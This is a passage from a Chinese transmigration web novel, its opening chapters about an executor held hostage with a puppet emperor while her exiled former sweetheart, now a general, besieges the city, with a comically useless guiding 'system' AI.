《专业女配的自我修养(快穿)》 1. 旧日青梅01 天阴惨惨的,沉沉的乌云压住远处巍峨的城阙。 冷风刀子一样在祼露在外的皮肤上,破烂粗糙的囚衣无法抵御寒意,那冷意透过被葛麻磨得发疼的皮肤直直地渗入骨髓。 不远处传来押司空抽鞭子的喝骂声,“杵着找死么!某家没工夫陪你磨蹭,眼瞅着下雪了,荒郊野地连个草棚都没有,真要困死冻死?再敢延宕,枷子锁死,冻烂你骨头也没人管!赶紧滚路!” 沈朔却没有动,他转身往后看。 巍巍的城墙阻隔了视线,让人无法探知城内繁华,但仍有热闹的喧嚣声传出来,锣鼓奏鸣和司仪的唱喏声影影绰绰,却被一声破空的鞭子声打断,“杵着干什么呢?!” 尖锐的刺痛从背后传来,沈朔整个人被冲力带着往前倾,脚下的镣铐发出哗啦一声响,他却稳稳地站定了,又转头问押司,“今日城内有人娶亲吗?” 这一鞭子抽中可是实打实的,这小子下盘够稳啊。 押司短暂地目露讶色,旋即不客气地按着木枷把人往前推。 但沈朔看见他张开了嘴,说—— ……说了什么? * 沈朔猝然惊醒,下意识地握住了身侧的佩刀。 帐外巡营甲士走动的声音传来,篝火噼啪,更远处军马嘶鸣,熟悉的声音让他从旧日的梦魇中抽离出来,沈朔收束了心神,看向眼前的桌案。 厚重的漆木案上一侧放置着铜令军牌,军报文书堆叠在另一边,正中间是铺展开的天兴山川舆图。着舆图沈朔已经看了几日,对上面种种细节早就烂熟于心,草草瞟了一眼,就转而问:“几时了?” 他问的是侧下首,正处理文书的青衫文士,也是他如今军中的掌书记。 那文士还不及回答,就有帐前斥候匆匆跑进,黑布头帻、腿缠行滕,甫一进来,就扶着腰间横刀、单膝触地,俯首道:“启禀将军,大军前行距天兴城不足百里,前路地势渐狭,再为急行恐有不测。是否继续行进,还请将军示下。” 沈朔不语。 他手指在舆图上滑过,停在如今的位置上,目露思量。几息之后,他沉沉出声,“传令下去,就地扎营,埋锅造饭。前路逼近天兴,山林丛杂、恐有伏兵,士卒连日赶路人马疲困,当就地整顿,设哨探查。” “属下领命!” 斥候应声而去,侧面的文士却眉梢挑了挑。 他抬起正在简牍上书写的笔,另一手捋了捋宽阔的长袖,往上首看了一眼。 待那斥候出去传令的功夫,他已经洗笔收砚,不复刚才伏案疾书姿.势,甚至还有闲心提起旁边炉上的正温着的酒,给自己斟了一杯。他浅呷一口,舒适喟叹,“某还以为将军当真要为大景朝廷尽忠,千里奔袭营救天子呢~” 后半句也不知从哪个茶楼酒肆学来的戏腔,揶揄之情溢于言表。 早便习惯了这人的促狭,沈朔也未多言,只淡淡回一句,“伯谦说笑了”,便拿起侧边的折牒看了起来。 赵成卓讨了个没趣,却也不在意。 他捻须沉吟了半晌,又缓声开口,“主公早该如此,天子被挟入天兴,急得可不是咱们。” 沈朔放下折牒,抬眼看他:“伯谦可有高见?” “李翊借圣旨诏兵马勤王,无非是想要借他人之手夺回天子。可虽说安温册挟持天子入天兴,天兴节度使的张凤岐也不是柄没脑子的,没有白白地供个祖宗的道理。我们且按兵驻营,正好看城中内斗,也耗他们些元气。” 朝中臣子宦官争权,宦官落败,宦首安温策干脆一不做二不休挟持了天子,退至天兴城中。 天子不在京城,可朝中宰相却以“圣旨”诏兵勤王,这诏自然是矫诏。 但当今的天下早就无人在意这一点。 自和光年间叛乱平息,景朝便不复昔日盛景。各地兵马林立,地方节度使不听中央号令已成常态,朝中权宦废立君王亦不罕见,没人在意那个真正的天子。掌兵、握权,才是这年头的正经事。 赵成卓顿了顿,将杯中的酒一饮而尽,神情轻松,对上首的人打趣道,“况且天子在外越久,朝中之人越急,太尉中书令之流不过虚衔罢了,那李翊当真拿出诚意来,当以诸道兵马大元帅委之,将天下兵马托于主公才是。” 当下朝廷的筹码也只剩这些个虚衔,可偏偏这虚衔和虚衔又有不同。在有的人手里,虚衔也能变成实的。 赵成卓虽说得打趣,但若此遭“救驾”功成,这诸道兵马大元帅的头衔也落不到他人之手。 沈朔对此也心中有数。 他略微思量后,便轻一颔首,“这几日驻扎,我会想法子让人去探天兴城内情况。” 见沈朔听得进话去,赵成卓也默默松了口气。 谋士献策怎么说什么时候说,也是有分寸的,就前几天沈朔那率兵疾行,一副预备强攻天兴的态度,他也只能闭紧嘴巴,把自己当个莫得感情的处理军务的工具人。 现在倒是好了。 原地驻扎、围而不攻,接下来的军务都少了一半,倒也不至于忙碌到在马背上仍急书不停。 他心中大定,又接连饮了几杯,酒水入腹,身体微微发烫,看着那边盘坐沉思的主帅,他缓声开口,开始了谋士的必备日常,夸主公的彩虹屁——必得平常把主公哄得舒服了,关键时候说话才能叫人听得进去,这可是份紧要的日常工作。 “李翊诏天下兵马勤王,如今各地拥兵节度使众,固地自守者有,但也不乏想趁此机会谋取权柄。但不管作何种想法,皆在观望,主公却当机立断起兵应和,于公占尽大义之名,于私又先行以大军夺取有利地势,如此决断实非凡人啊!” 沈朔连眉毛都没动一下,权当他放屁。 虽说这些年朝中争斗愈烈,原本遴选士人的科举早就成了各走门路的为官捷径,但具体到赵成卓这个人身上,屡试不第却是有他的道理的。 赵成卓兀自不觉,又洋洋洒洒夸了几百句,兴致来了还赋诗一首,水平基本就是“天寒风冷冻衣裳,我自开怀坐饮酒,主公主公真厉害,得欲此主卓甚兴”,即便沈朔当年被他爹揪着耳朵骂整天舞刀弄枪不通文墨,六岁之 后也写不出这种东西。 当年主考官要是把这人放进去,他给的金子得在京城买下条街来。 就在沈朔忍无可忍把人赶出主帐的时候,那边连饮数杯,面上已露醉态的赵成卓突然话锋一转,“主公行军如此之急,某还以为主公有什么紧要之人被那阉党一同挟入了天兴。” 上首的人没什么反应,只是道:“天寒行军,允士卒少量饮酒御寒,你今日的份例已经在我这儿喝完了,我回头让仓曹记上。” 赵成卓借着醉态遮掩打量上首人表情的动作一僵。 他悻悻地放下酒壶,但还是兀自争辩,“主将宴请下属,怎能算在份例之内?便是放在哪家,也没有这样的规矩。” 沈朔语气平平:“我这里的规矩。伯谦可有不满?” 赵成卓讨了个没趣,口中道着“不敢”,又说了些当日的军务,这才悻悻然离开主帐。 掀开帐帘子,外面的执槊卫兵左手叉胸颔首,行起军礼,“掌书记。” 赵成卓浅浅点了下头,刚才帐中朦胧的醉意彻底不见了踪影。 但走出主帐之时,他到底忍不住回了下头。 难不成他猜错了?沈朔如此疾行,真的是怕人抢了“救天子”的先机? 帐中,确认赵成卓离开,沈朔才放下手上没怎么看进去的折牒。 他闭了闭眼,伸手入怀,摸入其中的暗袋,指腹传来凹凸不平的温润触感——那是一块玉,曾经碎裂的玉。 * 天兴城,节度使府别院。 现在不能叫“别院”了,而是叫“御院”。 因为被安温册挟持来的帝后二人,就安置在了这个节度使府邸的后院。 平心而论,房子不错,原本是割据军阀给自己修的后花园,自然是极尽奢华。 当然,墙也很高很厚。 郑珣坐在院子的台阶上,看了会儿高高的围墙、又盯了会儿那扇紧闭的朱漆大门,最终默默地移开了视线。 就算再怎么看,外头的人也不会把他们放出去,还不如看点别的。 就比如说院子里的花园,这园林很有设计感,若是春日必定是花团锦簇美不胜收,但可惜现在入了冬,枝头几乎不剩什么,零星有几片枯叶子倔强地挂在树梢,反倒添了几分萧索的美感。 郑珣脑子里忍不住冒出了一句词“凄凄惨惨戚戚”。 很美,很艺术,很衬她现在的心情。 郑珣很快做好了心理建设,有的看还要什么自行车,要搁在现代这园子她来参观都得收百八十块的门票钱,更别说住进来了。 自我安慰了好一会儿,总算能够就着这景吃饭了,郑珣低头咬了口手里的麦饼。 饼子用料很扎实、风干储存之后更是梆硬,郑珣一口下去没有咬动,她低头看了看,褐黄色麦饼外缘有一小圈牙印,连牙印都是浅浅地印在上面,离咬穿还有很长一段距离。 郑珣终于破防了—— [系统!你给我出来!!] [说好了当皇后,谁家皇后坐地上啃饼子啊?!] 2. 旧日青梅02 郑珣破防地在意识里大喊大叫,人工智障的系统及时出现,尽职尽责地和执行者同仇敌忾,[是的呢,亲亲说得太对了。现在的公司都是这么离谱,招聘的时候待遇吹得天花乱坠baba……] 后面的郑珣没有再看下去了。 她愤怒地把刚刚弹出来的对话点了个叉,咬牙切齿地,[转人工。] [尊敬的执行者您好,目前人工进线排队人数较多,预估等待时长约2522388403秒,给您带来不好的体验深感抱歉,还请您多多包涵耐心等候~] 郑珣只觉得怒气槽飞快蓄满又快速地炸掉,脑子里一片#%&*的烟花之后,手里那块梆硬的麦饼被她掰成了两半。 郑珣:[……] 透明的面板上,弹出了一行新的文字,[如果您有紧急问题,可以优先联系小书代为回答。常规问题、基础业务都能快速搞定,无需等待。] 郑珣深深吸气呼气,终于重新恢复了心平气和。 她有气无力地问:[沈朔到哪了?] [河北军驻营地距天兴城不足百里,以大军过往行进速度推测,今日夜间即可抵达。] 一天?这么快?! 郑珣这一次终于冷静下来。 她低头看了眼手里掰成两半的饼子,这才有了再继续吃饭的心情。 不管沈朔来了之后会发生什么,吃饱了才好上路。 默默在心底给自己讲了个地狱笑话,郑珣选了更小的那半块麦饼咬了上去。饼子的中间也一样硬,但不像是边缘那么韧,用牙齿当支点,磕成小块,可以慢慢地用唾液软化。 郑珣就这么艰难地咀嚼了一会儿,努力咽下去。 咽了一下没咽动,又干又噎还剌嗓子。 明智点的吃法当然是配上杯水,但这天寒地冻的,敲开冰打上来的水也是冰凉的,喝一口冻得人牙舌发颤,好不容易吃点东西的热乎气儿都散干净了,如非必要,郑珣不想喝水。 她费了点劲,把嘴巴里的麦饼咽下去,努力乐观地想着:快了快了,这样的日子就要到头了。沈朔就要来了,运气好点,她的工作就结束。 郑珣是穿书局的执行者,工作任务是维持小世界的稳定运转。 小世界在更迭变化的时候,很容易出现意外,导致本源枯竭迅速衰亡,穿书局的存在就是为了在可能的限度内,避免这种情况。 当前的小世界就是一个问题世界,它本应该经历一次正常的改朝换代,却不知道什么原因,并未建立一个稳定的新朝,而是进入了连年兵灾的混战时代。战争摧毁一切,生灵大量死亡,这个小世界最终因为生机耗尽而陷入衰亡。 穿书局回溯推演,确定了一位关键人物,新朝的开国之君,沈朔。 如果按照最初的推演剧本来看,这位男主原本拿的是复仇爽文本。他祖父本是前朝重臣,尽忠履职却遭人诬陷、蒙冤而死,身后更是阖族流放,男主带兵归来彻底推翻曾经害死他祖父的荒唐朝廷,成为一代开国明君。 但小世界自行运转过程中,总会出现种种意外,就比如说男主流放过程中,遭受衙役虐待,父亲族人一个接一个地凄惨地死于路上,孑然一身的男主彻底黑化,心心念念复仇,一朝回到京城,就杀皇族杀权宦杀朝臣,杀得人头滚滚、血流成河,凶名震慑天下。 但也只是“凶名”。 马上得天下,却不能马上治天下,男主这么一搞,哪还有人再敢效忠他,他也从一位开国明君,变成了乱政的暴虐之主,也揭开了接下来血色百年的序幕。 虽然听起来很复杂,但这作为郑珣成为执行者的第一份工作,其实是新手简单难度。 她进入小世界的身份是男主青梅竹马的少年恋人,穿书局给她的任务指南是:和少年男主谈一场非常走心的恋爱,然后在对方落难的时候狠狠抛弃他,让他痛得刻骨铭心,以转移一部分对大景朝堂的仇恨。 郑珣:??? 郑珣当年看完这份任务指南只有满脑子的问号。 你这个指南它是正经指南吗?刚才还是朝堂争斗和兵灾祸乱,怎么就突然转成了青春疼痛?谈个恋爱被分手和家破人亡这是一个等级的问题吗?!得多傻.逼才能觉得男主会放了逼死他亲爹的朝廷不管,转而找一个抛弃他的青梅的麻烦? 郑珣:[你还不如让我穿成押送男主流放的押司呢!] [穿书局只能以奇点为切入点进入小世界。本小世界的奇点人物确定为沈朔,经检测,流放看管押司和奇点人物不具备足够的亲缘及社会关联度,无法投放执行者] 郑珣:彳亍口巴。 至于前一个问题,系统给出的解释是—— [大脑神经的运作逻辑判断,人对于应激.情绪的归因并不受前额叶皮层的理性回路控制,只要产生相同的神经疼痛,人会自行进行最简单的归因。而青春期大脑的中脑边缘系统的唤醒程度极高,对于恋爱关系相关刺激的反应烈度和强度都远超于任何其他时期,一旦被抛弃,产生的疼痛也会成比例扩大,具体的个人形象比模糊的朝堂概念更容易在大脑中成形,两件事情同时发生,人极有可能将恨意转移。] 当年的郑珣还不清楚系统人工智障的本质,看到这一段状似很有说服力的话之后,很傻很天真地信了。 至于说现在? 郑珣:呵呵。 信了那个人工智障的她才是智障。 确认了沈朔的位置后,郑珣又问:[沈伯父……沈朔的父亲如今怎么样了?] 也亏得她当年醒悟及时,上下打点才让沈家流放过程中少遭点罪,沈朔父亲沈彦章本就身体不好,艰难地撑过了流放路途之后也缠.绵病榻,早几年郑珣还想着时不时询问一下,看看有什么能帮上的,但是后来她这边的处境也变得糟糕,便渐渐没有空闲关心那么多了。 [三年前病逝河中府。] 郑珣:[……] 她短暂地沉默了片刻,问:[那沈氏族人呢?] [四处流散。有一从弟于其军中任折冲都尉,掌骑兵。] 四处流散,意味着还活着,再退一步,沈朔还有一个族弟在,不像是原本走向里的满门皆亡。 郑珣暗暗舒了口气,还准备再问,却听一声语调温润的,“瑶娘。” 郑珣人在景朝,也入乡随俗有了表字。珣,美玉也,表字含义相近,是为执瑶。 但这字取是取了,能用到的场合却不多,会这么叫她的更是只有一个人。 郑珣抬头看去,见到一个气质温雅的青年。 他眉眼清朗、面部中正、鼻梁挺直却不突兀,唇形饱满、嘴角上扬,天生便带三分笑意。端得是有匪君子如琢如磨,像是名门公子、像是馆阁学士,再甚至是医道圣手,却独独不该是皇帝。 见人来了,郑珣正要起身,却被他握住了手腕,“这里只有你我二人,做些什么虚礼?” 他说这话,人也顺势坐到了郑珣旁边,原本撑在身前的袖子让开,郑珣才看见被他护在怀里的是一碗热腾腾的肉羹。 肉羹像是刚刚从灶上拿下来不久,骤然遇冷,便扑面一股白汽。 被这犹带余温的水汽一扑,郑珣却是反手抓住萧清维的手腕,“你又把什么卖了?” 萧清维的气质不像是皇帝,而守卫的这些人也不在乎什么皇帝,只认钱认威。 安温册既然挟持帝后奔逃天兴城,也不会把二人饿死,但也仅仅是不饿死罢了,多讲究就谈不上了。生活水准骤然跌落,郑珣不得不承认,比起生下来就是皇子的萧清维,反而是她这个从四品小官家的女儿更吃不了这个苦。 二人被挟持来天兴的这一路上,身上金银玉石多数用来换吃食了,而这换来的吃食有一多半进了郑珣的肚子。 萧清维似乎并不介怀这些。 他并没有回答郑珣的询问,只是笑着催促,“瑶娘快些吃吧,再放便要凉透了。” 他说着,将那碗又往郑珣方向挪了挪。 或许是因为气温太冷的缘故,骤然被这热气一熏,郑珣觉得脸上有些烫,尤其是眼睛,热得好像有什么要涌出来,再想想原本世界线里萧清维的下场,心底的郁气更是忍不住。 郑珣赶紧往侧边转了一下头,掩饰住脸上的表情。 萧清维不是个好皇帝吗?他根本都不是个“皇帝”!是个被权臣阉宦军阀抢来抢去的人形图章。甚至于这个人形图章可以换人,只要他身上流着萧家皇室的血、只要他是萧氏的子孙。 沈朔是个杀人魔吗?郑珣不知道未来,起码她认识的那个沈朔,只是一个脾气有点直、性格莽撞但仍不掩本性纯善的少年人。而郑珣只那个见过几面的沈家祖父,确实不愧被尊为“令公”之名,是位心心念念清正朝堂、匡扶世道的忠厚老人。 郑珣这些年也见过形形色色不少的人,有好有坏,更多的只是挣扎求生的普通人。 但偏偏这个世道能把所有人变成鬼! 接触的沈令公旧人多了,她也侧面听过那位沈公理想。但对方筹谋的徐徐图之,以新人换旧臣,朝堂渐至清明的设想根本不可能成真,这个朝堂能把所有踏进去的人拉进泥潭慢慢溺死。 郑珣这个时候都有点希望那个垃圾系统给的智障方案是真的了。 最好是她拉够了所有仇恨点,沈朔恨她恨得咬牙切齿,杀了她就前账尽清。这样一来,沈朔报了仇,她完成了任务,萧清维也能活下来——即便因为他是前朝皇帝,终身都要活在监视之下、行动 处处掣肘,那也比现在好多了。 这个垃圾大景朝! 掌心被碗熨上了些微的暖意,萧清维把碗递到了郑珣手中。 郑珣趁势轻轻碰了碰萧清维的手,低声开解:“会好的。” 萧清维怔了下。 他似乎没想到郑珣会说这话,看向郑珣的表情中显出些茫然的迷惑来,像是不理解话中含义。 郑珣想起来前些日子夜半醒来,看见萧清维明显魇住的模样。 她本来不想说从系统里问来的消息——两个人都被关在这院子里,她根本没法解释自己消息来源——但看着青年瘦了一大圈,颊上显出凹陷轮廓的脸,她还是开口,“有李相在朝中主持大局,定能稳住朝堂,设法与各方藩镇通联,筹谋迎驾之计。如今勤王大军定在路上,若是快些,已经近天兴城也说不定。” 郑珣尽量让自己的话显得逻辑合理可信一点,但听了这一席话,萧清维神情却并未有任何舒展的迹象。他一点点敛下眉眼,那温润清朗的面容竟显出几分阴郁来。 “勤王”大军? 来了又能如何呢。 萧清维倒是相信,会有兵马来此,但那真的是为了救驾的吗? 不,不是的。 这天底下没有会救驾的人。 说到底,李翊与安温册又有何区别,不过是权相与权宦之别,兴许良臣贤相的名头听得比家奴好上一些,但归根到底不过是一路货色,他们夺.权夺名夺兵夺……皇帝。 是的,他们在抢夺皇帝。 倘若这皇帝实在不合心意,他们还可以换上一换。十六弟就很合适,年纪小性子单纯,容易掌控,如今京城之中,李翊大约求神拜佛,天天盼着帝王薨逝,好让他再迎新主,以掌辅政之权。 而在这其中,他什么都无法做,什么也不能做。 血淋淋的前车之鉴在他的眼前,一旦做了,便是赴了他父皇、他皇兄后尘。 巨大的无力感化作尖锐扭曲的情绪,萧清维脸上的肌肉都有一瞬的抽搐。 但腕间被轻柔碰触暖意漾开,他垂着眼看向身侧的人。蛾眉轻蹙、明眸含波,她正抬眼看着他,眼神担忧又关切。 萧清维神情一下子舒展开来,那点尖锐似乎也被碰触的暖意化开,他唇角不自觉地扬起,声音很轻地:“嗯。” 郑珣觉得他没信。 还想再说点什么,但萧清维却似乎并不想再提这个话题,他接过郑珣手中的麦饼,手指微微用力,只几下就将那麦饼掰成了碎块,泡在肉羹里,声音温和地:“泡着吃,要软一些。” 郑珣:“……” 噫呜!他真是太暖了。 这哥们要是在现在,什么都不用干,靠这张脸都能吃一辈子了。偏偏人生在这个时候,顶着天字第一号的尊贵身份寄人篱下。 肉羹是萧清维要来的,郑珣当然不可能吃独食,最后两人一人一口,分食了这碗肉羹泡馍。 郑珣觉得自己肯定是吃得多了。 没办法,萧清维总是有各种很有说服力的理由。而那双温和清润的眼睛往这边一看,让人忍不住就顺着他的话做了。 一碗大景朝版的限定泡馍很快见底,艰难地克制住舔碗底的冲动,郑珣中肯评价:“好吃。” 就是不知道是珍珠翡翠白玉汤的好吃,还是真的好吃了。 萧清维浅浅地应了一声,却没尝出这碗肉羹的滋味如何,他方才一直在侧着头盯着郑珣看。白皙细腻的脸颊随着咀嚼一鼓一鼓的,看着看着,心底像是有细羽浮荡、飘飘扬扬的。 手指有点痒,想要伸手戳两下,但指.尖动了动,终究作罢。 这也太不庄重了。 只是思绪忍不住飘散。 她好像清减了些,执着调羹抬起手的时候,露出来手腕都细了,若是以前戴的镯子戴上去必要空荡了。 不若再去找一趟安温册? 这点吃喝上的小事,这位禁军中尉大抵不在意的,他现在怕极了的是他死了。可偏偏他最不怕的,就是死了。 不对,他现在或许已经怕了。 萧清维以为他最后的结局会像是皇兄一般,甲兵陈前,寒刃相逼,一杯毒酒了却余生,从被“恭迎”入宫之时,他就料定了自己结局。是以安温册火烧宫城,逼圣驾东迁之时,他心中并无波澜:烧了也好,烧得个干干净净,也免得尸骨受辱。 可冲天的烈焰之中、有人冒着浓烟匆匆赶来,握住了他的手,“我……咳咳……妾与陛下同往。” 好烫啊。 被握住的手好烫,裸露在外的肌肤好烫,那倒映着火焰的眼神也是。高温炙烤着皮肤,萧清维后知后觉地感受到疼痛,他好像在那时候,才重又觉知到自己还活着。 3. 旧日青梅03 沈朔的大军离天兴不过一日的路程。郑珣本来以为再怎么样,过上三五天,再不济一个周,这倒霉日子肯定结束了。 然而并没有。 十天过去了,外面毫无动静。 二十天、一个月…… 天气越来越冷了,雪花打着旋飘落,郑珣在屋里烧着炭烤手。 以她和萧清维在这里的人质待遇,一开始当然是没有炭的,取暖全靠发抖,要不然那天郑珣也不至于坐在院子里吃饼子——好歹院子里还有太阳,没风的时候会晒得暖和点——但二人最近待遇慢慢好了起来。 郑珣却没法为此开心。 她蹙着眉看向一旁的萧清维,后者掩着唇低低地咳了几声,见郑珣往这边倾身,立刻躲得远了点,“瑶娘离我远一些,莫要过了病气。” 萧清维生病了。 那位护驾天子的大宦官终于想起来,要是皇帝死了,他这护扈陛下东迁的“忠良”名头可就保不住了,这才对两位身份高贵的人质提高了待遇。 但对于经历过暖气空调的现代人来说,这点炭火效用也就是聊胜于无了。 好在郑珣在这个小世界已经待得够久,早就习惯冬冷夏热的煎熬,这会儿看着萧清维生着病还要往没有火盆的地方躲,不由凑过去拽他。 拉了一下还没拉住。 郑珣:“……” “要过病气早过了!” 萧清维不知道想起了什么,躲避动作一僵。 郑珣却没多想,见他不动了,忙伸手往他额头上放,“我试试还烧不烧。” 她先前手太凉了,试不出来萧清维有没有发热,但这会儿烤了半天的火,反倒是又烫了。她觉得像是退了烧,又不放心,不由凑过去用自己额头贴着去试。 冷不防被凑得极近,萧清维呼吸一滞。 另一个人的气息侵入的鼻腔,距离近得仿佛他一眨眼,眼睫就能碰触到对方的肌肤。萧清维眼皮颤了颤,低低垂下、落到那软糯的唇.瓣上,稍稍走神。 这几日院子里有人时时送热水来,饮水足了,她的嘴唇终于不像是前几日干裂到起皮,恢复了以前的莹润色泽。 但是颜色还是有些浅淡了。 是气血不好吗? 萧清维想着,就见那近在咫尺的嘴唇抿了抿,柔软的唇.瓣被压下后又弹起,有一瞬浮现出宛若盛开海.棠般靡.艳的色泽,萧清维呼吸陡然重了。 郑珣努力判断了半天,艰难地将萧清维的情况鉴定为“已经退烧了”。这里没有体温计,她只能用这么粗糙的方法判断。 结果刚一退回来,就看见萧清维整张脸都红了。 郑珣:??! 肯定还是烧啊! 这种粗糙原始的量体温方式果然不靠谱。 “我去让他们叫医官来!” 萧清维还出着神,一直等郑珣起身往外走了,才险险才反应过来,抬手拽住了人。 郑珣没有防备,被这么一拽,整个人都栽到了萧清维怀里。 萧清维这下子更是连脖子都红了,但是他却没有放手。青天白日,在待客的堂屋里般亲昵当然不雅,但这里又不会有“客”来。 想着,他干脆借着这动作,手臂轻轻环过柔软的腰肢,将人揽在怀里。 感受着怀中人的存在,他整个人都不由自主地松了下来。 二人成婚也有数年,但瑶娘其实不大同他亲近。 都是好脾气的人,不曾吵过嘴也不曾红过脸,或许在外人眼中担得上一句相敬如宾,但其实这么些年下来,关系都是淡淡的。待住进那间天底下最大的屋子里,连宫殿都不毗邻,更是疏远了。 倒是这几日夜间,身侧的人循着热源贴过来。手臂环到腰上,腿也不自觉地往他身上缠,萧清维竟然被唤起些年少时也罕有的悸动。 这让他想起了大婚的那夜。 烛火摇曳,红绸喜人。 那时候在位的还是他的父皇,他也只是一个不起眼的少年皇子,对那座吃人的皇城虽有所感,却并无那般深切的认知。新婚大喜,他怀着又激动又期许的欣喜。 但却扇退去,那绘着妆容的明艳容颜映入眼中,萧清维心情突然冷了下去。 少女面上是带着笑的,但萧清维就是知道。 ——她不想要嫁给我。 是啊,萧氏皇族就是进去了就出不来的泥潭,没有人愿意踏进来。 陷入故旧的回忆之中,萧清维手臂不自觉收紧,一直到惹得郑珣痛呼出声,他这才回了神。连忙松了手臂的力道,一边轻轻揉着郑珣的腰,一边解释:“我已无大碍,不必去找医官。” 郑珣:“……” 单看对方刚才那力气,确实不像是一个高烧的人。 郑珣答应着想起身,但萧清维却似乎没有注意到,无视了怀中轻微推拒的动作,手臂稳稳地揽着,几乎将人禁锢在怀中。 郑珣:? 她现在怀疑萧清维是烧糊涂了。 郑珣还想着,就听见上首条理清晰的话:“瑶娘不要出去。这几日城中不安稳,外头恐有变故,莫要再在此时横生枝节。” 郑珣顿时忘了推他,仰着头往上看,“你怎么知道?” 两人被关在这院子里,虽然待遇一般,但守卫绝对是顶级的,恨不得上面飞过只鸟都要射下来,免得是信鸽。防卫严密至此,郑珣怀疑,就算外面沈朔打进来他们都不知道。 萧清维脸上又浮现了淡淡的薄红。 “听。” “什么?” “听外面的声音。”萧清维偏着头躲开郑珣的视线,手臂却将人往怀里揽了揽,病重声音有点哑,依旧温润,“前些日子巡逻尚显散漫,这几日却队列齐整成行、编排也比先前密了。” “也或许只是值守调整?” “或许吧。但人不可能一直提着心,便是上峰命令,时间久了下面也会有懈怠,但这几日的巡逻却只严不松,禁军多半在与人对峙。”禁军在天兴节度使府中,能对峙的也只有天兴府兵,于是做出下面的推测便不难了,“……安张二人恐已生嫌隙。” 郑珣:“……?” 过于离谱,郑珣忍不住找系统确认了一遍。 系统当然不知道什么叫安温册和张凤岐之间的勾心斗角,只是如实地将两人这几日的见面次数和时长一一列出,给出了个“见面次数锐减、但每次时长减半”的结果,并据此做出了“二人关系降温”的合理推测。 郑珣忍不住挣扎着仰头往萧清维脸上看。 这哥们真的没开挂吗?还是什么当皇帝的天赋技能? 萧清维似乎僵了一下,但这次面上没露出什么来。 他偏过头去低低地咳了几声后,又接着温声嘱托,“这几日晚间,莫要睡得太沉。有什么随身之物都要带好,免得匆忙之下遗落此处。” 有前面那神乎其技的推测取信,郑珣当然选择遵从萧清维的建议。 事实证明这也是正确的。 也没过去多久,堪堪第三天的夜里,郑珣就被萧清维推醒。 萧清维表情紧绷,但语气却如平常无二的温和,“瑶娘,咱们得起了。” 郑珣半夜被叫醒,迷迷糊糊地,“什么?” 萧清维弯了下眼,但那点细碎的笑意很快被凝 重取代,他将搭在一旁的外袍递给郑珣,“穿上衣裳吧。待会儿路上莫要着凉。” 见郑珣还有些梦意,他干脆自己动手,帮人将衣袖套上,本来是匆忙之下仓促之举,但是见郑珣下意识的抬起手臂配合,他不由怔了一下。 看见终于回过神来,神色略显尴尬的郑珣,萧清维反而笑了起来,“不妨事。” 他这么说着,眼神一点点柔和下来,本来急促的动作也放得柔缓,细细地将衣襟整理服帖后,半俯下.身去系她腰间系带。 郑珣终于咳了一声打断:“我自己来。” * 郑珣很快就知道发生什么了。 院外火光冲天,齐整的脚步声步步逼近,紧闭的朱漆大门被撞开,身着甲胄的卫兵手持兵器闯进来,火把映亮了院中的石阶,让开的通路上走出来一个人,和常规印象中的宦官不同,这人面目方正、一身甲胄,看不出半点阴柔之气。 来人本欲直奔内室而去,瞧见已至堂屋的帝后二人还愣了一下,但也反应很快地后退一步,跪在地上,“张凤岐勾结反贼意欲犯上,天兴城内如今亦非安稳之所,还请陛下皇后随臣南移圣驾。” 他这话说得很恭敬,但是话音落下,周遭卫士却横刀出鞘。 锋刃在火光下闪着诡谲的光,郑珣眼尖地瞥见上面还沾着干涸的血渍。 在这沉沉逼来的压迫之下,萧清维神色却未有多大的变化,依旧是那轻缓的语气,“敢问安将军,这是要往南逃到哪里去呢?” 他声线太温和了,一时让人分不清,这到底是一句诚心发问,还是在阴阳怪气。 但安温册身旁的亲卫却不顾忌那么多,立刻就有一全甲壮汉持刀上前,想要强行挟持帝后。 安温册一直等到那刀逼到近前,才一抬手,阻了亲兵的动作,但他这次却没再跪地请命,而是站起身来,“蜀地素来安稳富裕,又有天险阻隔,臣护送陛下至彼处,再徐徐图谋、复祖宗基业。” 萧清维似乎笑了声,但周遭的火把哔啵外面的脚步声也吵,安温册没听清楚。 他也并不太在意,只是皱了皱眉,便接着,“张凤岐已经与逆贼勾连,陛下再待在此地恐怕不安全,还请陛下随臣南行,臣必一路舍命扈从。” 萧清维伸着手臂轻轻揽了下郑珣,又握住她的手,从台阶上往下走。 旁边守卫的甲兵下意识地挡了一下,但打量着无兵无甲的皇帝,又瞧瞧旁边纤弱女子的皇后,迟疑了片刻,终是让开了位置。 萧清维这么一步一步,握着郑珣的手,走完了正堂到院子之间那没有几级的低矮台阶。 下了台阶,他脚步仍旧没有停,就那么步履平缓地路过了安温册,笑着,“朕当然信安将军。” 安温册怔了一下,萧清维却已经经过了他,往院子外的方向走去。 有卫兵向安温册请命,他这才回神,抬手让人赶紧跟上。自己却是在原地站定了片刻,眯眼看向那甲兵映衬下显得身形羸弱的青年。 先帝无子,继位者是从诸位弟弟中选的。好在武宗皇帝的后嗣众多,可供选择的余地很大,但若是从中择一不知事的幼童未免太过明目张胆。当时大宦官裘淳也是多方思量后,才敲定了这位素来有柔善之名的潞王,对外的名义是,武宗皇帝曾赞此子“早有宿慧、能识人心”。 搪塞天下悠悠众口的堂皇之言罢了,安温册本来没有把这句话放在心上。 但是如今看来,也不尽是虚言。 顿了片刻,他倏地松开握着刀柄的手,笑了一声,跟着往外走去。 如今都是一条绳上的蚂蚱,皇帝聪明些对他只有好处。 4.旧日青梅04 并汾军中。 赵成卓手肘撑着侧边的凭靠,一条腿屈着一条腿放直、在主帅大帐里坐得四仰八叉。 他抬手甩了甩手里的信纸,来来回回看了三遍,大笑出声,“这天兴张凤岐悍武之名在外,行事素来狠戾,某倒是未曾想,倒也有如此柔滑手腕。” 沈朔带军围住天兴城,这才一个月有余,城内就递来了求和信。几番掰扯商量后,内外达成一致,张凤岐以安温册首级和圣驾换沈朔退兵。 沈朔瞥了眼这些时日松散下来,行为越发放.浪的赵成卓,没说什么,只是道:“他本就无甚志向,迎奉皇帝对他没有好处。安温册挟帝来此多时,二人恐积怨已深。” 对于张凤岐而言,他好端端地在天兴城当他的土皇帝,突然老家被人占了,京城的宦官被带了个真皇帝过来,杀杀不得、供供不起来,安温册还带来了一大批禁军和他抢夺天兴城府,他不恼才怪了。 这会儿并汾军来,他巴不得借这个由头,赶紧把手里的烫手山芋丢出去。 